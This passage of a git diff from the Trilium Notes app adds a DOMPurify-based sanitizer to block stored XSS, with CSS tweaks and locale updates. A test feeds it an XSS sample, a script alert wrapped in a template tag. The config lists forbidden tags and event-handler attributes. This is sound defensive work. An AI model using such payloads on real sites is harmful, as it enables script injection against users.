it("strips template tags which could contain scripts", () => {
|
||||
const html = '<template><script>alert(1)</script></template>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("<script");
|
||||
expect(result).not.toContain("<template");
|
||||
});
|
||||
});
|
||||
161
apps/client/src/services/sanitize_content.ts
Normal file
161
apps/client/src/services/sanitize_content.ts
Normal file
@@ -0,0 +1,161 @@
|
||||
/**
|
||||
* Client-side HTML sanitization for note content rendering.
|
||||
*
|
||||
* This module provides sanitization of HTML content before it is injected into
|
||||
* the DOM, preventing stored XSS attacks. Content written through non-CKEditor
|
||||
* paths (Internal API, ETAPI, Sync) may contain malicious scripts, event
|
||||
* handlers, or other XSS vectors that must be stripped before rendering.
|
||||
*
|
||||
* Uses DOMPurify, a well-audited XSS sanitizer that is already a transitive
|
||||
* dependency of this project (via mermaid).
|
||||
*
|
||||
* The configuration is intentionally permissive for rich-text formatting
|
||||
* (bold, italic, headings, tables, images, links, etc.) while blocking
|
||||
* script execution vectors (script tags, event handlers, javascript: URIs,
|
||||
* data: URIs on non-image elements, etc.).
|
||||
*/
|
||||
import DOMPurify from "dompurify";
|
||||
|
||||
/**
|
||||
* Tags allowed in sanitized note content. This mirrors the server-side
|
||||
* SANITIZER_DEFAULT_ALLOWED_TAGS from @triliumnext/commons plus additional
|
||||
* tags needed for CKEditor content rendering (e.g. <section> for included
|
||||
* notes, <figure>/<figcaption> for images and tables).
|
||||
*
|
||||
* Notably absent: <script>, <style>, <iframe>, <object>, <embed>, <form>,
|
||||
* <input> (except checkbox via specific attribute allowance), <link>, <meta>.
|
||||
*/
|
||||
const ALLOWED_TAGS = [
|
||||
// Headings
|
||||
"h1", "h2", "h3", "h4", "h5", "h6",
|
||||
// Block elements
|
||||
"blockquote", "p", "div", "pre", "section", "article", "aside",
|
||||
"header", "footer", "hgroup", "main", "nav", "address", "details", "summary",
|
||||
// Lists
|
||||
"ul", "ol", "li", "dl", "dt", "dd", "menu",
|
||||
// Inline formatting
|
||||
"a", "b", "i", "strong", "em", "strike", "s", "del", "ins",
|
||||
"abbr", "code", "kbd", "mark", "q", "time", "var", "wbr",
|
||||
"small", "sub", "sup", "big", "tt", "samp", "dfn", "bdi", "bdo",
|
||||
"cite", "acronym", "data", "rp",
|
||||
// Tables
|
||||
"table", "thead", "caption", "tbody", "tfoot", "tr", "th", "td",
|
||||
"col", "colgroup",
|
||||
// Media
|
||||
"img", "figure", "figcaption", "video", "audio", "picture",
|
||||
"area", "map", "track",
|
||||
// Separators
|
||||
"hr", "br",
|
||||
// Interactive (limited)
|
||||
"label", "input",
|
||||
// Other
|
||||
"span",
|
||||
// CKEditor specific
|
||||
"en-media"
|
||||
];
|
||||
|
||||
/**
|
||||
* Attributes allowed on sanitized elements. DOMPurify uses a flat list
|
||||
* of allowed attribute names that apply to all elements.
|
||||
*/
|
||||
const ALLOWED_ATTR = [
|
||||
// Common
|
||||
"class", "style", "title", "id", "dir", "lang", "tabindex",
|
||||
"spellcheck", "translate", "hidden",
|
||||
// Links
|
||||
"href", "target", "rel",
|
||||
// Images & media
|
||||
"src", "alt", "width", "height", "loading", "srcset", "sizes",
|
||||
"controls", "autoplay", "loop", "muted", "preload", "poster",
|
||||
// Data attributes (CKEditor uses these extensively)
|
||||
// DOMPurify allows data-* by default when ADD_ATTR includes them
|
||||
// Tables
|
||||
"colspan", "rowspan", "scope", "headers",
|
||||
// Input (for checkboxes in task lists)
|
||||
"type", "checked", "disabled",
|
||||
// Misc
|
||||
"align", "valign", "center",
|
||||
"open", // for <details>
|
||||
"datetime", // for <time>, <del>, <ins>
|
||||
"cite" // for <blockquote>, <del>, <ins>
|
||||
];
|
||||
|
||||
/**
|
||||
* URI-safe protocols allowed in href/src attributes.
|
||||
* Blocks javascript:, vbscript:, and other dangerous schemes.
|
||||
*/
|
||||
// Note: data: is intentionally omitted here; it is handled via ADD_DATA_URI_TAGS
|
||||
// which restricts data: URIs to only <img> elements.
|
||||
const ALLOWED_URI_REGEXP = /^(?:(?:https?|ftps?|mailto|evernote|file|gemini|git|gopher|irc|irc6|jabber|magnet|sftp|skype|sms|spotify|steam|svn|tel|smb|zotero|geo|obsidian|logseq|onenote|slack):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i;
|
||||
|
||||
/**
|
||||
* DOMPurify configuration for sanitizing note content.
|
||||
*/
|
||||
const PURIFY_CONFIG: DOMPurify.Config = {
|
||||
ALLOWED_TAGS,
|
||||
ALLOWED_ATTR,
|
||||
ALLOWED_URI_REGEXP,
|
||||
// Allow data-* attributes (used extensively by CKEditor)
|
||||
ADD_ATTR: ["data-note-id", "data-note-path", "data-href", "data-language",
|
||||
"data-value", "data-box-type", "data-link-id", "data-no-context-menu"],
|
||||
// Do not allow <style> or <script> tags
|
||||
FORBID_TAGS: ["script", "style", "iframe", "object", "embed", "link", "meta",
|
||||
"base", "noscript", "template"],
|
||||
// Do not allow event handler attributes
|
||||
FORBID_ATTR: ["onerror", "onload", "onclick", "onmouseover", "onfocus",
|
||||
"onblur", "onsubmit", "onreset", "onchange", "oninput",
|
||||
"onkeydown", "onkeyup", "onkeypress", "onmousedown",
|
||||
"onmouseup", "onmousemove", "onmouseout", "onmouseenter",
|
||||
"onmouseleave", "ondblclick", "oncontextmenu", "onwheel",
|
||||
"ondrag", "ondragend", "ondragenter", "ondragleave",
|
||||
"ondragover", "ondragstart", "ondrop", "onscroll",
|
||||
"oncopy", "oncut", "onpaste", "onanimationend",
|
||||
"onanimationiteration", "onanimationstart",
|
||||
"ontransitionend", "onpointerdown", "onpointerup",
|
||||
"onpointermove", "onpointerover", "onpointerout",
|
||||
"onpointerenter", "onpointerleave", "ontouchstart",
|
||||
"ontouchend", "ontouchmove", "ontouchcancel"],
|
||||
// Allow data: URIs only for images (needed for inline images)
|
||||
ADD_DATA_URI_TAGS: ["img"],
|
||||
// Return a string
|
||||
RETURN_DOM: false,
|
||||
RETURN_DOM_FRAGMENT: false,
|
||||
// Keep the document structure intact
|
||||
WHOLE_DOCUMENT: false,
|
||||
// Allow target attribute on links
|
||||
ADD_TAGS: []
|
||||
};
|
||||
|
||||
// Configure a DOMPurify hook to handle data-* attributes more broadly
|
||||
// since CKEditor uses many custom data attributes.
|
||||
DOMPurify.addHook("uponSanitizeAttribute", (node, data) => {
|
||||
// Allow all data-* attributes
|
||||
if (data.attrName.startsWith("data-")) {
|
||||
data.forceKeepAttr = true;
|
||||
}
|
||||
});
|
||||
|
||||
/**
|
||||
* Sanitizes HTML content for safe rendering in the DOM.
|
||||
*
|
||||
* This function should be called on all user-provided HTML content before
|
||||
* inserting it into the DOM via dangerouslySetInnerHTML, jQuery .html(),
|
||||
* or Element.innerHTML.
|
||||
*
|
||||
* The sanitizer preserves rich-text formatting produced by CKEditor
|
||||
* (bold, italic, links, tables, images, code blocks, etc.) while
|
||||
* stripping XSS vectors (script tags, event handlers, javascript: URIs).
|
||||
*
|
||||
* @param dirtyHtml - The untrusted HTML string to sanitize.
|
||||
* @returns A sanitized HTML string safe for DOM insertion.
|
||||
*/
|
||||
export function sanitizeNoteContentHtml(dirtyHtml: string): string {
|
||||
if (!dirtyHtml) {
|
||||
return dirtyHtml;
|
||||
}
|
||||
return DOMPurify.sanitize(dirtyHtml, PURIFY_CONFIG) as string;
|
||||
}
|
||||
|
||||
export default {
|
||||
sanitizeNoteContentHtml
|
||||
};
|
||||
@@ -73,6 +73,10 @@ async function post<T>(url: string, data?: unknown, componentId?: string) {
|
||||
return await call<T>("POST", url, componentId, { data });
|
||||
}
|
||||
|
||||
async function postWithSilentInternalServerError<T>(url: string, data?: unknown, componentId?: string) {
|
||||
return await call<T>("POST", url, componentId, { data, silentInternalServerError: true });
|
||||
}
|
||||
|
||||
async function put<T>(url: string, data?: unknown, componentId?: string) {
|
||||
return await call<T>("PUT", url, componentId, { data });
|
||||
}
|
||||
@@ -111,6 +115,7 @@ let maxKnownEntityChangeId = 0;
|
||||
interface CallOptions {
|
||||
data?: unknown;
|
||||
silentNotFound?: boolean;
|
||||
silentInternalServerError?: boolean;
|
||||
// If `true`, the value will be returned as a string instead of a JavaScript object if JSON, XMLDocument if XML, etc.
|
||||
raw?: boolean;
|
||||
}
|
||||
@@ -143,7 +148,7 @@ async function call<T>(method: string, url: string, componentId?: string, option
|
||||
});
|
||||
})) as any;
|
||||
} else {
|
||||
resp = await ajax(url, method, data, headers, !!options.silentNotFound, options.raw);
|
||||
resp = await ajax(url, method, data, headers, options);
|
||||
}
|
||||
|
||||
const maxEntityChangeIdStr = resp.headers["trilium-max-entity-change-id"];
|
||||
@@ -155,10 +160,7 @@ async function call<T>(method: string, url: string, componentId?: string, option
|
||||
return resp.body as T;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param raw if `true`, the value will be returned as a string instead of a JavaScript object if JSON, XMLDocument if XML, etc.
|
||||
*/
|
||||
function ajax(url: string, method: string, data: unknown, headers: Headers, silentNotFound: boolean, raw?: boolean): Promise<Response> {
|
||||
function ajax(url: string, method: string, data: unknown, headers: Headers, opts: CallOptions): Promise<Response> {
|
||||
return new Promise((res, rej) => {
|
||||
const options: JQueryAjaxSettings = {
|
||||
url: window.glob.baseApiUrl + url,
|
||||
@@ -190,7 +192,9 @@ function ajax(url: string, method: string, data: unknown, headers: Headers, sile
|
||||
// don't report requests that are rejected by the browser, usually when the user is refreshing or going to a different page.
|
||||
rej("rejected by browser");
|
||||
return;
|
||||
} else if (silentNotFound && jqXhr.status === 404) {
|
||||
} else if (opts.silentNotFound && jqXhr.status === 404) {
|
||||
// report nothing
|
||||
} else if (opts.silentInternalServerError && jqXhr.status === 500) {
|
||||
// report nothing
|
||||
} else {
|
||||
await reportError(method, url, jqXhr.status, jqXhr.responseText);
|
||||
@@ -200,7 +204,7 @@ function ajax(url: string, method: string, data: unknown, headers: Headers, sile
|
||||
}
|
||||
};
|
||||
|
||||
if (raw) {
|
||||
if (opts.raw) {
|
||||
options.dataType = "text";
|
||||
}
|
||||
|
||||
@@ -299,6 +303,7 @@ export default {
|
||||
get,
|
||||
getWithSilentNotFound,
|
||||
post,
|
||||
postWithSilentInternalServerError,
|
||||
put,
|
||||
patch,
|
||||
remove,
|
||||
|
||||
@@ -1587,7 +1587,7 @@ body:not(.mobile) #launcher-pane.horizontal .dropdown-submenu > .dropdown-menu {
|
||||
position: absolute;
|
||||
top: 0;
|
||||
inset-inline-start: 0;
|
||||
bottom: 0;
|
||||
height: 100dvh;
|
||||
width: 85vw;
|
||||
padding-top: env(safe-area-inset-top);
|
||||
transition: transform 250ms ease-in-out;
|
||||
@@ -1651,13 +1651,27 @@ body:not(.mobile) #launcher-pane.horizontal .dropdown-submenu > .dropdown-menu {
|
||||
word-break: break-all;
|
||||
}
|
||||
|
||||
body.mobile .jump-to-note-dialog .modal-content {
|
||||
overflow-y: auto;
|
||||
}
|
||||
body.mobile .jump-to-note-dialog {
|
||||
.modal-header {
|
||||
padding-bottom: 0.75rem !important;
|
||||
}
|
||||
|
||||
body.mobile .jump-to-note-dialog .modal-dialog .aa-dropdown-menu {
|
||||
max-height: unset;
|
||||
overflow: auto;
|
||||
.modal-content {
|
||||
padding-bottom: 0 !important;
|
||||
}
|
||||
|
||||
.modal-body {
|
||||
overflow-y: auto;
|
||||
}
|
||||
|
||||
.aa-dropdown-menu {
|
||||
max-height: unset;
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
.aa-suggestion {
|
||||
padding-inline: 0;
|
||||
}
|
||||
}
|
||||
|
||||
body.mobile .modal-dialog .dropdown-menu {
|
||||
|
||||
@@ -291,6 +291,15 @@
|
||||
--ck-editor-toolbar-button-on-shadow: 1px 1px 2px rgba(0, 0, 0, .75);
|
||||
--ck-editor-toolbar-dropdown-button-open-background: #ffffff14;
|
||||
|
||||
--note-list-view-icon-color: var(--left-pane-icon-color);
|
||||
--note-list-view-large-icon-background: var(--note-icon-background-color);
|
||||
--note-list-view-large-icon-color: var(--note-icon-color);
|
||||
--note-list-view-search-result-highlight-background: transparent;
|
||||
--note-list-view-search-result-highlight-color: var(--quick-search-result-highlight-color);
|
||||
--note-list-view-content-background: rgba(0, 0, 0, .2);
|
||||
--note-list-view-content-search-result-highlight-background: var(--quick-search-result-highlight-color);
|
||||
--note-list-view-content-search-result-highlight-color: black;
|
||||
|
||||
--calendar-coll-event-background-saturation: 25%;
|
||||
--calendar-coll-event-background-lightness: 20%;
|
||||
--calendar-coll-event-background-color: #3c3c3c;
|
||||
@@ -304,7 +313,8 @@
|
||||
* Dark color scheme tweaks
|
||||
*/
|
||||
|
||||
#left-pane .fancytree-node.tinted {
|
||||
#left-pane .fancytree-node.tinted,
|
||||
.nested-note-list-item.use-note-color {
|
||||
--custom-color: var(--dark-theme-custom-color);
|
||||
|
||||
/* The background color of the active item in the note tree.
|
||||
@@ -354,7 +364,8 @@ body .todo-list input[type="checkbox"]:not(:checked):before {
|
||||
}
|
||||
|
||||
.note-split.with-hue,
|
||||
.quick-edit-dialog-wrapper.with-hue {
|
||||
.quick-edit-dialog-wrapper.with-hue,
|
||||
.nested-note-list-item.with-hue {
|
||||
--note-icon-custom-background-color: hsl(var(--custom-color-hue), 15.8%, 30.9%);
|
||||
--note-icon-custom-color: hsl(var(--custom-color-hue), 100%, 76.5%);
|
||||
--note-icon-hover-custom-background-color: hsl(var(--custom-color-hue), 28.3%, 36.7%);
|
||||
|
||||
@@ -289,6 +289,15 @@
|
||||
--ck-editor-toolbar-button-on-shadow: none;
|
||||
--ck-editor-toolbar-dropdown-button-open-background: #0000000f;
|
||||
|
||||
--note-list-view-icon-color: var(--left-pane-icon-color);
|
||||
--note-list-view-large-icon-background: var(--note-icon-background-color);
|
||||
--note-list-view-large-icon-color: var(--note-icon-color);
|
||||
--note-list-view-search-result-highlight-background: transparent;
|
||||
--note-list-view-search-result-highlight-color: var(--quick-search-result-highlight-color);
|
||||
--note-list-view-content-background: #b1b1b133;
|
||||
--note-list-view-content-search-result-highlight-background: var(--quick-search-result-highlight-color);
|
||||
--note-list-view-content-search-result-highlight-color: white;
|
||||
|
||||
--calendar-coll-event-background-lightness: 95%;
|
||||
--calendar-coll-event-background-saturation: 80%;
|
||||
--calendar-coll-event-background-color: #eaeaea;
|
||||
@@ -298,7 +307,8 @@
|
||||
--calendar-coll-today-background-color: #00000006;
|
||||
}
|
||||
|
||||
#left-pane .fancytree-node.tinted {
|
||||
#left-pane .fancytree-node.tinted,
|
||||
.nested-note-list-item.use-note-color {
|
||||
--custom-color: var(--light-theme-custom-color);
|
||||
|
||||
/* The background color of the active item in the note tree.
|
||||
@@ -324,7 +334,8 @@
|
||||
}
|
||||
|
||||
.note-split.with-hue,
|
||||
.quick-edit-dialog-wrapper.with-hue {
|
||||
.quick-edit-dialog-wrapper.with-hue,
|
||||
.nested-note-list-item.with-hue {
|
||||
--note-icon-custom-background-color: hsl(var(--custom-color-hue), 44.5%, 43.1%);
|
||||
--note-icon-custom-color: hsl(var(--custom-color-hue), 91.3%, 91%);
|
||||
--note-icon-hover-custom-background-color: hsl(var(--custom-color-hue), 55.1%, 50.2%);
|
||||
|
||||
@@ -145,6 +145,10 @@ button.tn-low-profile:hover {
|
||||
font-size: calc(var(--icon-button-size) * var(--icon-button-icon-ratio));
|
||||
}
|
||||
|
||||
:root .icon-action.disabled::before {
|
||||
opacity: .5;
|
||||
}
|
||||
|
||||
:root .icon-action:not(.global-menu-button):hover,
|
||||
:root .icon-action:not(.global-menu-button).show,
|
||||
:root .tn-tool-button:hover,
|
||||
|
||||
@@ -751,12 +751,14 @@ body[dir=rtl] #left-pane span.fancytree-node.protected > span.fancytree-custom-i
|
||||
}
|
||||
}
|
||||
|
||||
#left-pane .fancytree-expander {
|
||||
#left-pane .fancytree-expander,
|
||||
.nested-note-list-item .note-expander {
|
||||
opacity: 0.65;
|
||||
transition: opacity 150ms ease-in;
|
||||
}
|
||||
|
||||
#left-pane .fancytree-expander:hover {
|
||||
#left-pane .fancytree-expander:hover,
|
||||
.nested-note-list-item .note-expander:hover {
|
||||
opacity: 1;
|
||||
transition: opacity 300ms ease-out;
|
||||
}
|
||||
|
||||
@@ -1008,7 +1008,7 @@
|
||||
"no_attachments": "此笔记没有附件。"
|
||||
},
|
||||
"book": {
|
||||
"no_children_help": "此类型为书籍的笔记没有任何子笔记,因此没有内容显示。请参阅 <a href=\"https://triliumnext.github.io/Docs/Wiki/book-note.html\">wiki</a> 了解详情。",
|
||||
"no_children_help": "此集合没有任何子笔记,因此没有内容显示。",
|
||||
"drag_locked_title": "锁定编辑",
|
||||
"drag_locked_message": "无法拖拽,因为集合已被锁定编辑。"
|
||||
},
|
||||
@@ -1064,10 +1064,6 @@
|
||||
"default_new_note_title": "新笔记",
|
||||
"click_on_canvas_to_place_new_note": "点击画布以放置新笔记"
|
||||
},
|
||||
"render": {
|
||||
"note_detail_render_help_1": "之所以显示此帮助说明,是因为这个类型为渲染 HTML 的笔记没有正常工作所需的关系。",
|
||||
"note_detail_render_help_2": "渲染 HTML 笔记类型用于<a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/scripts.html\">编写脚本</a>。简而言之,您有一份 HTML 代码笔记(可包含一些 JavaScript),然后这个笔记会把页面渲染出来。要使其正常工作,您需要定义一个名为 \"renderNote\" 的<a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/attributes.html\">关系</a>指向要渲染的 HTML 笔记。"
|
||||
},
|
||||
"backend_log": {
|
||||
"refresh": "刷新"
|
||||
},
|
||||
@@ -2073,7 +2069,8 @@
|
||||
"raster": "栅格",
|
||||
"vector_light": "矢量(浅色)",
|
||||
"vector_dark": "矢量(深色)",
|
||||
"show-scale": "显示比例尺"
|
||||
"show-scale": "显示比例尺",
|
||||
"show-labels": "显示标记名称"
|
||||
},
|
||||
"table_context_menu": {
|
||||
"delete_row": "删除行"
|
||||
@@ -2152,7 +2149,6 @@
|
||||
"app-restart-required": "(需重启程序以应用更改)"
|
||||
},
|
||||
"pagination": {
|
||||
"page_title": "第 {{startIndex}} 页 - 第 {{endIndex}} 页",
|
||||
"total_notes": "{{count}} 篇笔记"
|
||||
},
|
||||
"collections": {
|
||||
@@ -2272,6 +2268,43 @@
|
||||
"url_placeholder": "输入或粘贴网站地址,例如 https://triliumnotes.org",
|
||||
"create_button": "创建网页视图",
|
||||
"invalid_url_title": "无效的地址",
|
||||
"invalid_url_message": "请输入有效的网址,例如 https://triliumnotes.org。"
|
||||
"invalid_url_message": "请输入有效的网址,例如 https://triliumnotes.org。",
|
||||
"disabled_description": "此网页视图来自外部来源。为保护您免受网络钓鱼或恶意内容侵害,该视图不会自动加载。若您信任该来源,可手动启用加载功能。",
|
||||
"disabled_button_enable": "启用网页视图"
|
||||
},
|
||||
"render": {
|
||||
"setup_title": "在此笔记中显示自定义 HTML 或 Preact JSX",
|
||||
"setup_create_sample_preact": "使用 Preact 建立范例笔记",
|
||||
"setup_create_sample_html": "使用 HTML 建立范例笔记",
|
||||
"setup_sample_created": "已建立一个范例笔记作为子笔记。",
|
||||
"disabled_description": "此渲染笔记来自外部来源。为保护您免受恶意内容侵害,该功能默认处于禁用状态。启用前请确保您信任该来源。",
|
||||
"disabled_button_enable": "启用渲染笔记"
|
||||
},
|
||||
"active_content_badges": {
|
||||
"type_icon_pack": "图标包",
|
||||
"type_backend_script": "后端脚本",
|
||||
"type_frontend_script": "前端脚本",
|
||||
"type_widget": "小部件",
|
||||
"type_app_css": "自定义 CSS",
|
||||
"type_render_note": "渲染笔记",
|
||||
"type_web_view": "网页视图",
|
||||
"type_app_theme": "自定义主题",
|
||||
"toggle_tooltip_enable_tooltip": "点击以启用此 {{type}}。",
|
||||
"toggle_tooltip_disable_tooltip": "点击以禁用此 {{type}}。",
|
||||
"menu_docs": "打开文档",
|
||||
"menu_execute_now": "立即执行脚本",
|
||||
"menu_run": "自动执行",
|
||||
"menu_run_disabled": "手动",
|
||||
"menu_run_backend_startup": "当后端启动时",
|
||||
"menu_run_hourly": "每小时",
|
||||
"menu_run_daily": "每日",
|
||||
"menu_run_frontend_startup": "当桌面前端启动时",
|
||||
"menu_run_mobile_startup": "当移动前端启动时",
|
||||
"menu_change_to_widget": "更改为小部件",
|
||||
"menu_change_to_frontend_script": "更改为前端脚本",
|
||||
"menu_theme_base": "主题基底"
|
||||
},
|
||||
"setup_form": {
|
||||
"more_info": "了解更多"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1007,7 +1007,7 @@
|
||||
"no_attachments": "Diese Notiz enthält keine Anhänge."
|
||||
},
|
||||
"book": {
|
||||
"no_children_help": "Diese Notiz mit dem Notiztyp Buch besitzt keine Unternotizen, deshalb ist nichts zum Anzeigen vorhanden. Siehe <a href=\"https://triliumnext.github.io/Docs/Wiki/book-note.html\">Wiki</a> für mehr Details.",
|
||||
"no_children_help": "Diese Sammlung enthält keineUnternotizen, daher gibt es nichts anzuzeigen.",
|
||||
"drag_locked_title": "Für Bearbeitung gesperrt",
|
||||
"drag_locked_message": "Das Ziehen ist nicht möglich, da die Sammlung für die Bearbeitung gesperrt ist."
|
||||
},
|
||||
@@ -1063,10 +1063,6 @@
|
||||
"default_new_note_title": "neue Notiz",
|
||||
"click_on_canvas_to_place_new_note": "Klicke auf den Canvas, um eine neue Notiz zu platzieren"
|
||||
},
|
||||
"render": {
|
||||
"note_detail_render_help_1": "Diese Hilfesnotiz wird angezeigt, da diese Notiz vom Typ „HTML rendern“ nicht über die erforderliche Beziehung verfügt, um ordnungsgemäß zu funktionieren.",
|
||||
"note_detail_render_help_2": "Render-HTML-Notiztyp wird benutzt für <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/scripts.html\">scripting</a>. Kurzgesagt, du hast ein HTML-Code-Notiz (optional mit JavaScript) und diese Notiz rendert es. Damit es funktioniert, musst du eine a <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/attributes.html\">Beziehung</a> namens \"renderNote\" zeigend auf die HTML-Notiz zum rendern definieren."
|
||||
},
|
||||
"backend_log": {
|
||||
"refresh": "Aktualisieren"
|
||||
},
|
||||
@@ -2090,7 +2086,8 @@
|
||||
"raster": "Raster",
|
||||
"vector_light": "Vektor (Hell)",
|
||||
"vector_dark": "Vektor (Dunkel)",
|
||||
"show-scale": "Zeige Skalierung"
|
||||
"show-scale": "Zeige Skalierung",
|
||||
"show-labels": "Zeige Markierungsnamen"
|
||||
},
|
||||
"table_context_menu": {
|
||||
"delete_row": "Zeile entfernen"
|
||||
@@ -2157,7 +2154,6 @@
|
||||
"percentage": "%"
|
||||
},
|
||||
"pagination": {
|
||||
"page_title": "Seite {{startIndex}} von {{endIndex}}",
|
||||
"total_notes": "{{count}} Notizen"
|
||||
},
|
||||
"collections": {
|
||||
@@ -2287,6 +2283,43 @@
|
||||
"url_placeholder": "Gib oder füge die Adresse der Webseite ein, zum Beispiel https://triliumnotes.org",
|
||||
"create_button": "Erstelle Web Ansicht",
|
||||
"invalid_url_title": "Ungültige Adresse",
|
||||
"invalid_url_message": "Füge eine valide Webadresse ein, zum Beispiel https://triliumnotes.org."
|
||||
"invalid_url_message": "Füge eine valide Webadresse ein, zum Beispiel https://triliumnotes.org.",
|
||||
"disabled_description": "Diese Webansicht wurde von einer externen Quelle importiert. Um Sie vor Phishing oder schädlichen Inhalten zu schützen, wird sie nicht automatisch geladen. Sie können sie aktivieren, wenn Sie der Quelle vertrauen.",
|
||||
"disabled_button_enable": "Webansicht aktivieren"
|
||||
},
|
||||
"render": {
|
||||
"setup_create_sample_html": "Eine Beispielnotiz mit HTML erstellen",
|
||||
"setup_create_sample_preact": "Eine Beispielnotiz mit Preact erstellen",
|
||||
"setup_title": "Benutzerdefiniertes HTML oder Preact JSX in dieser Notiz anzeigen",
|
||||
"setup_sample_created": "Eine Beispielnotiz wurde als untergeordnete Notiz erstellt.",
|
||||
"disabled_description": "Diese Rendering-Notizen stammen aus einer externen Quelle. Um Sie vor schädlichen Inhalten zu schützen, ist diese Funktion standardmäßig deaktiviert. Stellen Sie sicher, dass Sie der Quelle vertrauen, bevor Sie sie aktivieren.",
|
||||
"disabled_button_enable": "Rendering-Notiz aktivieren"
|
||||
},
|
||||
"active_content_badges": {
|
||||
"type_icon_pack": "Icon-Paket",
|
||||
"type_backend_script": "Backend-Skript",
|
||||
"type_frontend_script": "Frontend-Skript",
|
||||
"type_widget": "Widget",
|
||||
"type_app_css": "Benutzerdefiniertes CSS",
|
||||
"type_render_note": "Rendering-Notiz",
|
||||
"type_web_view": "Webansicht",
|
||||
"type_app_theme": "Benutzerdefiniertes Thema",
|
||||
"toggle_tooltip_enable_tooltip": "Klicken, um diesen {{type}} zu aktivieren.",
|
||||
"toggle_tooltip_disable_tooltip": "Klicken, um diesen {{type}} zu deaktivieren.",
|
||||
"menu_docs": "Dokumentation öffnen",
|
||||
"menu_execute_now": "Skript jetzt ausführen",
|
||||
"menu_run": "Automatisch ausführen",
|
||||
"menu_run_disabled": "Manuell",
|
||||
"menu_run_backend_startup": "Wenn das Backend startet",
|
||||
"menu_run_hourly": "Stündlich",
|
||||
"menu_run_daily": "Täglich",
|
||||
"menu_run_frontend_startup": "Wenn das Desktop-Frontend startet",
|
||||
"menu_run_mobile_startup": "Wenn das mobile Frontend startet",
|
||||
"menu_change_to_widget": "Zum Widget wechseln",
|
||||
"menu_change_to_frontend_script": "Zum Frontend-Skript wechseln",
|
||||
"menu_theme_base": "Themenbasis"
|
||||
},
|
||||
"setup_form": {
|
||||
"more_info": "Mehr erfahren"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1010,7 +1010,7 @@
|
||||
"no_attachments": "This note has no attachments."
|
||||
},
|
||||
"book": {
|
||||
"no_children_help": "This collection doesn't have any child notes so there's nothing to display. See <a href=\"https://triliumnext.github.io/Docs/Wiki/book-note.html\">wiki</a> for details.",
|
||||
"no_children_help": "This collection doesn't have any child notes so there's nothing to display.",
|
||||
"drag_locked_title": "Locked for editing",
|
||||
"drag_locked_message": "Dragging not allowed since the collection is locked for editing."
|
||||
},
|
||||
@@ -1232,6 +1232,7 @@
|
||||
"openai_configuration": "OpenAI Configuration",
|
||||
"openai_settings": "OpenAI Settings",
|
||||
"api_key": "API Key",
|
||||
"api_key_placeholder": "API key is configured (enter a new value to replace it)",
|
||||
"url": "Base URL",
|
||||
"model": "Model",
|
||||
"openai_api_key_description": "Your OpenAI API key for accessing their AI services",
|
||||
@@ -2190,8 +2191,9 @@
|
||||
"percentage": "%"
|
||||
},
|
||||
"pagination": {
|
||||
"page_title": "Page of {{startIndex}} - {{endIndex}}",
|
||||
"total_notes": "{{count}} notes"
|
||||
"total_notes": "{{count}} notes",
|
||||
"prev_page": "Previous page",
|
||||
"next_page": "Next page"
|
||||
},
|
||||
"collections": {
|
||||
"rendering_error": "Unable to show content due to an error."
|
||||
|
||||
@@ -1068,10 +1068,6 @@
|
||||
"default_new_note_title": "nueva nota",
|
||||
"click_on_canvas_to_place_new_note": "Haga clic en el lienzo para colocar una nueva nota"
|
||||
},
|
||||
"render": {
|
||||
"note_detail_render_help_1": "Esta nota de ayuda se muestra porque esta nota de tipo Renderizar HTML no tiene la relación requerida para funcionar correctamente.",
|
||||
"note_detail_render_help_2": "El tipo de nota Render HTML es usado para <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/scripts.html\">scripting</a>. De forma resumida, tiene una nota con código HTML (opcionalmente con algo de JavaScript) y esta nota la renderizará. Para que funcione, es necesario definir una <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/attributes.html\">relación</a> llamada \"renderNote\" apuntando a la nota HTML nota a renderizar."
|
||||
},
|
||||
"backend_log": {
|
||||
"refresh": "Refrescar"
|
||||
},
|
||||
@@ -2162,8 +2158,7 @@
|
||||
"percentage": "%"
|
||||
},
|
||||
"pagination": {
|
||||
"total_notes": "{{count}} notas",
|
||||
"page_title": "Página de {{startIndex}} - {{endIndex}}"
|
||||
"total_notes": "{{count}} notas"
|
||||
},
|
||||
"presentation_view": {
|
||||
"edit-slide": "Editar este slide",
|
||||
@@ -2302,6 +2297,43 @@
|
||||
"url_placeholder": "Ingresar o pegar la dirección del sitio web, por ejemplo https://triliumnotes.org",
|
||||
"create_button": "Crear Vista Web",
|
||||
"invalid_url_title": "Dirección inválida",
|
||||
"invalid_url_message": "Ingrese una dirección web válida, por ejemplo https://triliumnotes.org."
|
||||
"invalid_url_message": "Ingrese una dirección web válida, por ejemplo https://triliumnotes.org.",
|
||||
"disabled_description": "Esta vista web fue importada de una fuente externa. Para ayudarlo a protegerse del phishing o el contenido malicioso, no se está cargando automáticamente. Puede activarlo si confía en la fuente.",
|
||||
"disabled_button_enable": "Habilita vista web"
|
||||
},
|
||||
"render": {
|
||||
"setup_title": "Mostrar HTML personalizado o Preact JSX dentro de esta nota",
|
||||
"setup_create_sample_preact": "Crear nota de muestra con Preact",
|
||||
"setup_create_sample_html": "Crear nota de muestra con HTML",
|
||||
"setup_sample_created": "Se creó una nota de muestra como subnota.",
|
||||
"disabled_description": "Esta nota de renderización proviene de una fuente externa. Para protegerlo de contenido malicioso, no está habilitado por defecto. Asegúrese de confiar en la fuente antes de habilitarla.",
|
||||
"disabled_button_enable": "Habilitar nota de renderización"
|
||||
},
|
||||
"active_content_badges": {
|
||||
"type_icon_pack": "Paquete de iconos",
|
||||
"type_backend_script": "Script de backend",
|
||||
"type_frontend_script": "Script de frontend",
|
||||
"type_widget": "Widget",
|
||||
"type_app_css": "CSS personalizado",
|
||||
"type_render_note": "Nota de renderización",
|
||||
"type_web_view": "Vista web",
|
||||
"type_app_theme": "Tema personalizado",
|
||||
"toggle_tooltip_enable_tooltip": "Haga clic para habilitar este {{type}}.",
|
||||
